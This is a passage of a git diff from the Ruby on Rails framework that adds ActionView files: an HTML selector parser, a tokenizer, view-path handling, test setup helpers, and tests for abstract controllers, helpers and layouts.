+                   $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
+              b = ($2 == "?" ? values.shift : $2).to_i
+              pseudo << nth_child(a, b, of_type, reverse)
+              @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
+            else
+              raise ArgumentError, "Invalid nth-child #{match}"
+          end
+          "" # Remove
+        end
+        # First/last child (of type).
+        next if statement.sub!(/^:(first|last)-(child|of-type)/) do
+          reverse = $1 == "last"
+          of_type = $2 == "of-type"
+          pseudo << nth_child(0, 1, of_type, reverse)
+          @source << ":#{$1}-#{$2}"
+          "" # Remove
+        end
+        # Only child (of type).
+        next if statement.sub!(/^:only-(child|of-type)/) do
+          of_type = $1 == "of-type"
+          pseudo << only_child(of_type)
+          @source << ":only-#{$1}"
+          "" # Remove
+        end
+
+        # Empty: no child elements or meaningful content (whitespaces
+        # are ignored).
+        next if statement.sub!(/^:empty/) do
+          pseudo << lambda do |element|
+            empty = true
+            for child in element.children
+              if child.tag? || !child.content.strip.empty?
+                empty = false
+                break
+              end
+            end
+            empty
+          end
+          @source << ":empty"
+          "" # Remove
+        end
+        # Content: match the text content of the element, stripping
+        # leading and trailing spaces.
+        next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do
+          content = $1
+          if content == "?"
+            content = values.shift
+          elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
+            content = content[1..-2]
+          end
+          @source << ":content('#{content}')"
+          content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
+          pseudo << lambda do |element|
+            text = ""
+            for child in element.children
+              unless child.tag?
+                text << child.content
+              end
+            end
+            text.strip =~ content
+          end
+          "" # Remove
+        end
+
+        # Negation. Create another simple selector to handle it.
+        if statement.sub!(/^:not\(\s*/, "")
+          raise ArgumentError, "Double negatives are not missing feature" unless can_negate
+          @source << ":not("
+          negation << simple_selector(statement, values, false)
+          raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
+          @source << ")"
+          next
+        end
+
+        # No match: moving on.
+        break
+      end
+
+      # Return hash. The keys are mapped to instance variables.
+      {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
+    end
+
+
+    # Create a regular expression to match an attribute value based
+    # on the equality operator (=, ^=, |=, etc).
+    def attribute_match(equality, value)
+      regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
+      case equality
+        when "=" then
+          # Match the attribute value in full
+          Regexp.new("^#{regexp}$")
+        when "~=" then
+          # Match a space-separated word within the attribute value
+          Regexp.new("(^|\s)#{regexp}($|\s)")
+        when "^="
+          # Match the beginning of the attribute value
+          Regexp.new("^#{regexp}")
+        when "$="
+          # Match the end of the attribute value
+          Regexp.new("#{regexp}$")
+        when "*="
+          # Match substring of the attribute value
+          regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
+        when "|=" then
+          # Match the first space-separated item of the attribute value
+          Regexp.new("^#{regexp}($|\s)")
+        else
+          raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
+          # Match all attributes values (existence check)
+          //
+      end
+    end
+
+
+    # Returns a lambda that can match an element against the nth-child
+    # pseudo class, given the following arguments:
+    # * +a+ -- Value of a part.
+    # * +b+ -- Value of b part.
+    # * +of_type+ -- True to test only elements of this type (of-type).
+    # * +reverse+ -- True to count in reverse order (last-).
+    def nth_child(a, b, of_type, reverse)
+      # a = 0 means select at index b, if b = 0 nothing selected
+      return lambda { |element| false } if a == 0 && b == 0
+      # a < 0 and b < 0 will never match against an index
+      return lambda { |element| false } if a < 0 && b < 0
+      b = a + b + 1 if b < 0   # b < 0 just picks last element from each group
+      b -= 1 unless b == 0  # b == 0 is same as b == 1, otherwise zero based
+      lambda do |element|
+        # Element must be inside parent element.
+        return false unless element.parent && element.parent.tag?
+        index = 0
+        # Get siblings, reverse if counting from last.
+        siblings = element.parent.children
+        siblings = siblings.reverse if reverse
+        # Match element name if of-type, otherwise ignore name.
+        name = of_type ? element.name : nil
+        found = false
+        for child in siblings
+          # Skip text nodes/comments.
+          if child.tag? && (name == nil || child.name == name)
+            if a == 0
+              # Shortcut when a == 0 no need to go past count
+              if index == b
+                found = child.equal?(element)
+                break
+              end
+            elsif a < 0
+              # Only look for first b elements
+              break if index > b
+              if child.equal?(element)
+                found = (index % a) == 0
+                break
+              end
+            else
+              # Otherwise, break if child found and count ==  an+b
+              if child.equal?(element)
+                found = (index % a) == b
+                break
+              end
+            end
+            index += 1
+          end
+        end
+        found
+      end
+    end
+
+
+    # Creates a only child lambda. Pass +of-type+ to only look at
+    # elements of its type.
+    def only_child(of_type)
+      lambda do |element|
+        # Element must be inside parent element.
+        return false unless element.parent && element.parent.tag?
+        name = of_type ? element.name : nil
+        other = false
+        for child in element.parent.children
+          # Skip text nodes/comments.
+          if child.tag? && (name == nil || child.name == name)
+            unless child.equal?(element)
+              other = true
+              break
+            end
+          end
+        end
+        !other
+      end
+    end
+
+
+    # Called to create a dependent selector (sibling, descendant, etc).
+    # Passes the remainder of the statement that will be reduced to zero
+    # eventually, and array of substitution values.
+    #
+    # This method is called from four places, so it helps to put it here
+    # for reuse. The only logic deals with the need to detect comma
+    # separators (alternate) and apply them to the selector group of the
+    # top selector.
+    def next_selector(statement, values)
+      second = Selector.new(statement, values)
+      # If there are alternate selectors, we group them in the top selector.
+      if alternates = second.instance_variable_get(:@alternates)
+        second.instance_variable_set(:@alternates, [])
+        @alternates.concat alternates
+      end
+      second
+    end
+
+  end
+
+
+  # See HTML::Selector.new
+  def self.selector(statement, *values)
+    Selector.new(statement, *values)
+  end
+
+
+  class Tag
+
+    def select(selector, *values)
+      selector = HTML::Selector.new(selector, values)
+      selector.select(self)
+    end
+
+  end
+
+end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
new file mode 100644
index 0000000..adf4e45
--- /dev/null
+++ b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
@@ -0,0 +1,107 @@
+require 'strscan'
+
+module HTML #:nodoc:
+
+  # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
+  # token is a string. Each string represents either "text", or an HTML element.
+  #
+  # This currently assumes valid XHTML, which means no free < or > characters.
+  #
+  # Usage:
+  #
+  #   tokenizer = HTML::Tokenizer.new(text)
+  #   while token = tokenizer.next
+  #     p token
+  #   end
+  class Tokenizer #:nodoc:
+
+    # The current (byte) position in the text
+    attr_reader :position
+
+    # The current line number
+    attr_reader :line
+
+    # Create a new Tokenizer for the given text.
+    def initialize(text)
+      text.encode!
+      @scanner = StringScanner.new(text)
+      @position = 0
+      @line = 0
+      @current_line = 1
+    end
+
+    # Returns the next token in the sequence, or +nil+ if there are no more tokens in
+    # the stream.
+    def next
+      return nil if @scanner.eos?
+      @position = @scanner.pos
+      @line = @current_line
+      if @scanner.check(/<\S/)
+        update_current_line(scan_tag)
+      else
+        update_current_line(scan_text)
+      end
+    end
+
+    private
+
+      # Treat the text at the current position as a tag, and scan it. Supports
+      # comments, doctype tags, and regular tags, and ignores less-than and
+      # greater-than characters within quoted strings.
+      def scan_tag
+        tag = @scanner.getch
+        if @scanner.scan(/!--/) # comment
+          tag << @scanner.matched
+          tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
+        elsif @scanner.scan(/!\[CDATA\[/)
+          tag << @scanner.matched
+          tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
+        elsif @scanner.scan(/!/) # doctype
+          tag << @scanner.matched
+          tag << consume_quoted_regions
+        else
+          tag << consume_quoted_regions
+        end
+        tag
+      end
+
+      # Scan all text up to the next < character and return it.
+      def scan_text
+        "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
+      end
+
+      # Counts the number of newlines in the text and updates the current line
+      # accordingly.
+      def update_current_line(text)
+        text.scan(/\r?\n/) { @current_line += 1 }
+      end
+
+      # Skips over quoted strings, so that less-than and greater-than characters
+      # within the strings are ignored.
+      def consume_quoted_regions
+        text = ""
+        loop do
+          match = @scanner.scan_until(/['"<>]/) or break
+
+          delim = @scanner.matched
+          if delim == "<"
+            match = match.chop
+            @scanner.pos -= 1
+          end
+
+          text << match
+          break if delim == "<" || delim == ">"
+
+          # consume the quoted region
+          while match = @scanner.scan_until(/[\\#{delim}]/)
+            text << match
+            break if @scanner.matched == delim
+            break if @scanner.eos?
+            text << @scanner.getch # skip the escaped character
+          end
+        end
+        text
+      end
+  end
+
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/version.rb b/actionview/lib/action_view/vendor/html-scanner/html/version.rb
similarity index 100%
rename from actionpack/lib/action_view/vendor/html-scanner/html/version.rb
rename to actionview/lib/action_view/vendor/html-scanner/html/version.rb
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
new file mode 100644
index 0000000..f55d3fd
--- /dev/null
+++ b/actionview/lib/action_view/version.rb
@@ -0,0 +1,8 @@
+require_relative 'gem_version'
+
+module ActionView
+  # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb
new file mode 100644
index 0000000..6c349fe
--- /dev/null
+++ b/actionview/lib/action_view/view_paths.rb
@@ -0,0 +1,96 @@
+require 'action_view/base'
+
+module ActionView
+  module ViewPaths
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_view_paths
+      self._view_paths = ActionView::PathSet.new
+      self._view_paths.freeze
+    end
+
+    delegate :template_exists?, :view_paths, :formats, :formats=,
+             :locale, :locale=, :to => :lookup_context
+
+    module ClassMethods
+      def parent_prefixes
+        @parent_prefixes ||= begin
+          parent_controller = superclass
+          prefixes = []
+
+          until parent_controller.abstract?
+            prefixes << parent_controller.controller_path
+            parent_controller = parent_controller.superclass
+          end
+
+          prefixes
+        end
+      end
+    end
+
+    # The prefixes used in render "foo" shortcuts.
+    def _prefixes
+      @_prefixes ||= begin
+        parent_prefixes = self.class.parent_prefixes
+        parent_prefixes.dup.unshift(controller_path)
+      end
+    end
+
+    # LookupContext is the object responsible to hold all information required to lookup
+    # templates, i.e. view paths and details. Check ActionView::LookupContext for more
+    # information.
+    def lookup_context
+      @_lookup_context ||=
+        ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
+    end
+
+    def details_for_lookup
+      { }
+    end
+
+    def append_view_path(path)
+      lookup_context.view_paths.push(*path)
+    end
+
+    def prepend_view_path(path)
+      lookup_context.view_paths.unshift(*path)
+    end
+
+    module ClassMethods
+      # Append a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def append_view_path(path)
+        self._view_paths = view_paths + Array(path)
+      end
+
+      # Prepend a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def prepend_view_path(path)
+        self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
+      end
+
+      # A list of all of the default view paths for this controller.
+      def view_paths
+        _view_paths
+      end
+
+      # Set the view paths.
+      #
+      # ==== Parameters
+      # * <tt>paths</tt> - If a PathSet is provided, use that;
+      #   otherwise, process the parameter into a PathSet.
+      def view_paths=(paths)
+        self._view_paths = ActionView::PathSet.new(Array(paths))
+      end
+    end
+  end
+end
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
new file mode 100644
index 0000000..9eae3a4
--- /dev/null
+++ b/actionview/test/abstract_unit.rb
@@ -0,0 +1,341 @@
+require File.expand_path('../../../load_paths', __FILE__)
+
+$:.unshift(File.dirname(__FILE__) + '/lib')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
+
+ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
+
+require 'active_support/core_ext/kernel/reporting'
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = "UTF-8"
+  Encoding.default_external = "UTF-8"
+end
+
+require 'active_support/testing/autorun'
+require 'abstract_controller'
+require 'action_controller'
+require 'action_view'
+require 'action_view/testing/resolvers'
+require 'action_dispatch'
+require 'active_support/dependencies'
+require 'active_model'
+require 'active_record'
+
+require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+module Rails
+  class << self
+    def env
+      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+    end
+  end
+end
+
+ActiveSupport::Dependencies.hook!
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Register danish language for testing
+I18n.backend.store_translations 'da', {}
+I18n.backend.store_translations 'pt-BR', {}
+ORIGINAL_LOCALES = I18n.available_locales.map {|locale| locale.to_s }.sort
+
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
+
+module RackTestUtils
+  def body_to_string(body)
+    if body.respond_to?(:each)
+      str = ""
+      body.each {|s| str << s }
+      str
+    else
+      body
+    end
+  end
+  extend self
+end
+
+module RenderERBUtils
+  def view
+    @view ||= begin
+      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+      view_paths = ActionView::PathSet.new([path])
+      ActionView::Base.new(view_paths)
+    end
+  end
+
+  def render_erb(string)
+    @virtual_path = nil
+
+    template = ActionView::Template.new(
+      string.strip,
+      "test template",
+      ActionView::Template::Handlers::ERB,
+      {})
+
+    template.render(self, {}).strip
+  end
+end
+
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+
+module ActionDispatch
+  module SharedRoutes
+    def before_setup
+      @routes = SharedTestRoutes
+      super
+    end
+  end
+
+  # Hold off drawing routes until all the possible controller classes
+  # have been loaded.
+  module DrawOnce
+    class << self
+      attr_accessor :drew
+    end
+    self.drew = false
+
+    def before_setup
+      super
+      return if DrawOnce.drew
+
+      SharedTestRoutes.draw do
+        get ':controller(/:action)'
+      end
+
+      ActionDispatch::IntegrationTest.app.routes.draw do
+        get ':controller(/:action)'
+      end
+
+      DrawOnce.drew = true
+    end
+  end
+end
+
+module ActiveSupport
+  class TestCase
+    include ActionDispatch::DrawOnce
+  end
+end
+
+class RoutedRackApp
+  attr_reader :routes
+
+  def initialize(routes, &blk)
+    @routes = routes
+    @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+  end
+
+  def call(env)
+    @stack.call(env)
+  end
+end
+
+class BasicController
+  attr_accessor :request
+
+  def config
+    @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|
+      # VIEW TODO: View tests should not require a controller
+      public_dir = File.expand_path("../fixtures/public", __FILE__)
+      config.assets_dir = public_dir
+      config.javascripts_dir = "#{public_dir}/javascripts"
+      config.stylesheets_dir = "#{public_dir}/stylesheets"
+      config.assets          = ActiveSupport::InheritableOptions.new({ :prefix => "assets" })
+      config
+    end
+  end
+end
+
+class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
+  include ActionDispatch::SharedRoutes
+
+  def self.build_app(routes = nil)
+    RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
+      middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+      middleware.use "ActionDispatch::DebugExceptions"
+      middleware.use "ActionDispatch::Callbacks"
+      middleware.use "ActionDispatch::ParamsParser"
+      middleware.use "ActionDispatch::Cookies"
+      middleware.use "ActionDispatch::Flash"
+      middleware.use "Rack::Head"
+      yield(middleware) if block_given?
+    end
+  end
+
+  self.app = build_app
+
+  # Stub Rails dispatcher so it does not get controller references and
+  # simply return the controller#action as Rack::Body.
+  class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher
+    protected
+    def controller_reference(controller_param)
+      controller_param
+    end
+
+    def dispatch(controller, action, env)
+      [200, {'Content-Type' => 'text/html'}, ["#{controller}##{action}"]]
+    end
+  end
+
+  def self.stub_controllers
+    old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher
+    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher }
+    yield ActionDispatch::Routing::RouteSet.new
+  ensure
+    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher }
+  end
+
+  def with_routing(&block)
+    temporary_routes = ActionDispatch::Routing::RouteSet.new
+    old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
+    old_routes = SharedTestRoutes
+    silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
+
+    yield temporary_routes
+  ensure
+    self.class.app = old_app
+    silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
+  end
+
+  def with_autoload_path(path)
+    path = File.join(File.dirname(__FILE__), "fixtures", path)
+    if ActiveSupport::Dependencies.autoload_paths.include?(path)
+      yield
+    else
+      begin
+        ActiveSupport::Dependencies.autoload_paths << path
+        yield
+      ensure
+        ActiveSupport::Dependencies.autoload_paths.reject! {|p| p == path}
+        ActiveSupport::Dependencies.clear
+      end
+    end
+  end
+end
+
+# Temporary base class
+class Rack::TestCase < ActionDispatch::IntegrationTest
+  def self.testing(klass = nil)
+    if klass
+      @testing = "/#{klass.name.underscore}".sub!(/_controller$/, '')
+    else
+      @testing
+    end
+  end
+
+  def get(thing, *args)
+    if thing.is_a?(Symbol)
+      super("#{self.class.testing}/#{thing}", *args)
+    else
+      super
+    end
+  end
+
+  def assert_body(body)
+    assert_equal body, Array(response.body).join
+  end
+
+  def assert_status(code)
+    assert_equal code, response.status
+  end
+
+  def assert_response(body, status = 200, headers = {})
+    assert_body body
+    assert_status status
+    headers.each do |header, value|
+      assert_header header, value
+    end
+  end
+
+  def assert_content_type(type)
+    assert_equal type, response.headers["Content-Type"]
+  end
+
+  def assert_header(name, value)
+    assert_equal value, response.headers[name]
+  end
+end
+
+ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+
+module ActionController
+  class Base
+    include ActionController::Testing
+    # This stub emulates the Railtie including the URL helpers from a Rails application
+    include SharedTestRoutes.url_helpers
+    include SharedTestRoutes.mounted_helpers
+
+    self.view_paths = FIXTURE_LOAD_PATH
+
+    def self.test_routes(&block)
+      routes = ActionDispatch::Routing::RouteSet.new
+      routes.draw(&block)
+      include routes.url_helpers
+    end
+  end
+
+  class TestCase
+    include ActionDispatch::TestProcess
+    include ActionDispatch::SharedRoutes
+  end
+end
+
+module ActionView
+  class TestCase
+    # Must repeat the setup because AV::TestCase is a duplication
+    # of AC::TestCase
+    include ActionDispatch::SharedRoutes
+  end
+end
+
+class Workshop
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+module ActionDispatch
+  class DebugExceptions
+    private
+    remove_method :stderr_logger
+    # Silence logger
+    def stderr_logger
+      nil
+    end
+  end
+end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
diff --git a/actionview/test/actionpack/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
new file mode 100644
index 0000000..40d3b17
--- /dev/null
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -0,0 +1,262 @@
+require 'abstract_unit'
+require 'set'
+
+module AbstractController
+  module Testing
+
+    # Test basic dispatching.
+    # ====
+    # * Call process
+    # * Test that the response_body is set correctly
+    class SimpleController < AbstractController::Base
+    end
+
+    class Me < SimpleController
+      def index
+        self.response_body = "Hello world"
+        "Something else"
+      end
+    end
+
+    class TestBasic < ActiveSupport::TestCase
+      test "dispatching works" do
+        controller = Me.new
+        controller.process(:index)
+        assert_equal "Hello world", controller.response_body
+      end
+    end
+
+    # Test Render mixin
+    # ====
+    class RenderingController < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def _prefixes
+        []
+      end
+
+      def render(options = {})
+        if options.is_a?(String)
+          options = {:_template_name => options}
+        end
+        super
+      end
+
+      append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+    end
+
+    class Me2 < RenderingController
+      def index
+        render "index.erb"
+      end
+
+      def index_to_string
+        self.response_body = render_to_string "index"
+      end
+
+      def action_with_ivars
+        @my_ivar = "Hello"
+        render "action_with_ivars.erb"
+      end
+
+      def naked_render
+        render
+      end
+
+      def rendering_to_body
+        self.response_body = render_to_body :template => "naked_render"
+      end
+
+      def rendering_to_string
+        self.response_body = render_to_string :template => "naked_render"
+      end
+    end
+
+    class TestRenderingController < ActiveSupport::TestCase
+      def setup
+        @controller = Me2.new
+      end
+
+      test "rendering templates works" do
+        @controller.process(:index)
+        assert_equal "Hello from index.erb", @controller.response_body
+      end
+
+      test "render_to_string works with a String as an argument" do
+        @controller.process(:index_to_string)
+        assert_equal "Hello from index.erb", @controller.response_body
+      end
+
+      test "rendering passes ivars to the view" do
+        @controller.process(:action_with_ivars)
+        assert_equal "Hello from index_with_ivars.erb", @controller.response_body
+      end
+
+      test "rendering with no template name" do
+        @controller.process(:naked_render)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+
+      test "rendering to a rack body" do
+        @controller.process(:rendering_to_body)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+
+      test "rendering to a string" do
+        @controller.process(:rendering_to_string)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+    end
+
+    # Test rendering with prefixes
+    # ====
+    # * self._prefix is used when defined
+    class PrefixedViews < RenderingController
+      private
+      def self.prefix
+        name.underscore
+      end
+
+      def _prefixes
+        [self.class.prefix]
+      end
+    end
+
+    class Me3 < PrefixedViews
+      def index
+        render
+      end
+
+      def formatted
+        self.formats = [:html]
+        render
+      end
+    end
+
+    class TestPrefixedViews < ActiveSupport::TestCase
+      def setup
+        @controller = Me3.new
+      end
+
+      test "templates are located inside their 'prefix' folder" do
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+
+      test "templates included their format" do
+        @controller.process(:formatted)
+        assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
+      end
+    end
+
+    # Test rendering with layouts
+    # ====
+    # self._layout is used when defined
+    class WithLayouts < PrefixedViews
+      include ActionView::Layouts
+
+      private
+      def self.layout(formats)
+        find_template(name.underscore, {:formats => formats}, :_prefixes => ["layouts"])
+      rescue ActionView::MissingTemplate
+        begin
+          find_template("application", {:formats => formats}, :_prefixes => ["layouts"])
+        rescue ActionView::MissingTemplate
+        end
+      end
+
+      def render_to_body(options = {})
+        options[:_layout] = options[:layout] || _default_layout({})
+        super
+      end
+    end
+
+    class Me4 < WithLayouts
+      def index
+        render
+      end
+    end
+
+    class TestLayouts < ActiveSupport::TestCase
+      test "layouts are included" do
+        controller = Me4.new
+        controller.process(:index)
+        assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
+      end
+    end
+
+    # respond_to_action?(action_name)
+    # ====
+    # * A method can be used as an action only if this method
+    #   returns true when passed the method name as an argument
+    # * Defaults to true in AbstractController
+    class DefaultRespondToActionController < AbstractController::Base
+      def index() self.response_body = "success" end
+    end
+
+    class ActionMissingRespondToActionController < AbstractController::Base
+      # No actions
+    private
+      def action_missing(action_name)
+        self.response_body = "success"
+      end
+    end
+
+    class RespondToActionController < AbstractController::Base;
+      def index() self.response_body = "success" end
+
+      def fail()  self.response_body = "fail"    end
+
+    private
+
+      def method_for_action(action_name)
+        action_name.to_s != "fail" && action_name
+      end
+    end
+
+    class TestRespondToAction < ActiveSupport::TestCase
+
+      def assert_dispatch(klass, body = "success", action = :index)
+        controller = klass.new
+        controller.process(action)
+        assert_equal body, controller.response_body
+      end
+
+      test "an arbitrary method is available as an action by default" do
+        assert_dispatch DefaultRespondToActionController, "success", :index
+      end
+
+      test "raises ActionNotFound when method does not exist and action_missing is not defined" do
+        assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
+      end
+
+      test "dispatches to action_missing when method does not exist and action_missing is defined" do
+        assert_dispatch ActionMissingRespondToActionController, "success", :ohai
+      end
+
+      test "a method is available as an action if method_for_action returns true" do
+        assert_dispatch RespondToActionController, "success", :index
+      end
+
+      test "raises ActionNotFound if method is defined but method_for_action returns false" do
+        assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
+      end
+    end
+
+    class Me6 < AbstractController::Base
+      self.action_methods
+
+      def index
+      end
+    end
+
+    class TestActionMethodsReloading < ActiveSupport::TestCase
+
+      test "action_methods should be reloaded after defining a new method" do
+        assert_equal Set.new(["index"]), Me6.action_methods
+      end
+    end
+
+  end
+end
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
new file mode 100644
index 0000000..7d346e9
--- /dev/null
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -0,0 +1,127 @@
+require 'abstract_unit'
+
+ActionController::Base.helpers_path = File.expand_path('../../../fixtures/helpers', __FILE__)
+
+module AbstractController
+  module Testing
+
+    class ControllerWithHelpers < AbstractController::Base
+      include AbstractController::Helpers
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def with_module
+        render :inline => "Module <%= included_method %>"
+      end
+    end
+
+    module HelperyTest
+      def included_method
+        "Included"
+      end
+    end
+
+    class AbstractHelpers < ControllerWithHelpers
+      helper(HelperyTest) do
+        def helpery_test
+          "World"
+        end
+      end
+
+      helper :abc
+
+      def with_block
+        render :inline => "Hello <%= helpery_test %>"
+      end
+
+      def with_symbol
+        render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
+      end
+    end
+
+    class ::HelperyTestController < AbstractHelpers
+      clear_helpers
+    end
+
+    class AbstractHelpersBlock < ControllerWithHelpers
+      helper do
+        include AbstractController::Testing::HelperyTest
+      end
+    end
+
+    class AbstractInvalidHelpers < AbstractHelpers
+      include ActionController::Helpers
+
+      path = File.expand_path('../../../fixtures/helpers_missing', __FILE__)
+      $:.unshift(path)
+      self.helpers_path = path
+    end
+
+    class TestHelpers < ActiveSupport::TestCase
+      def setup
+        @controller = AbstractHelpers.new
+      end
+
+      def test_helpers_with_block
+        @controller.process(:with_block)
+        assert_equal "Hello World", @controller.response_body
+      end
+
+      def test_helpers_with_module
+        @controller.process(:with_module)
+        assert_equal "Module Included", @controller.response_body
+      end
+
+      def test_helpers_with_symbol
+        @controller.process(:with_symbol)
+        assert_equal "I respond to bare_a: true", @controller.response_body
+      end
+
+      def test_declare_missing_helper
+        e = assert_raise AbstractController::Helpers::MissingHelperError do
+          AbstractHelpers.helper :missing
+        end
+        assert_equal "helpers/missing_helper.rb", e.path
+      end
+
+      def test_helpers_with_module_through_block
+        @controller = AbstractHelpersBlock.new
+        @controller.process(:with_module)
+        assert_equal "Module Included", @controller.response_body
+      end
+    end
+
+    class ClearHelpersTest < ActiveSupport::TestCase
+      def setup
+        @controller = HelperyTestController.new
+      end
+
+      def test_clears_up_previous_helpers
+        @controller.process(:with_symbol)
+        assert_equal "I respond to bare_a: false", @controller.response_body
+      end
+
+      def test_includes_controller_default_helper
+        @controller.process(:with_block)
+        assert_equal "Hello Default", @controller.response_body
+      end
+    end
+
+    class InvalidHelpersTest < ActiveSupport::TestCase
+      def test_controller_raise_error_about_real_require_problem
+        e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
+        assert_equal "No such file to load -- very_invalid_file_name", e.message
+      end
+
+      def test_controller_raise_error_about_missing_helper
+        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+        assert_equal "Missing helper file helpers/missing_helper.rb", e.message
+      end
+
+      def test_missing_helper_error_has_the_right_path
+        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+        assert_equal "helpers/missing_helper.rb", e.path
+      end
+    end
+  end
+end
diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
new file mode 100644
index 0000000..a6786d9
--- /dev/null
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -0,0 +1,384 @@
+require 'abstract_unit'
+
+module AbstractControllerTests
+  module Layouts
+
+    # Base controller for these tests
+    class Base < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+      include ActionView::Layouts
+
+      abstract!
+
+      self.view_paths = [ActionView::FixtureResolver.new(
+        "layouts/hello.erb"             => "With String <%= yield %>",
+        "layouts/hello_override.erb"    => "With Override <%= yield %>",
+        "layouts/overwrite.erb"         => "Overwrite <%= yield %>",
+        "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
+        "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
+                                           "With Implied <%= yield %>",
+        "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
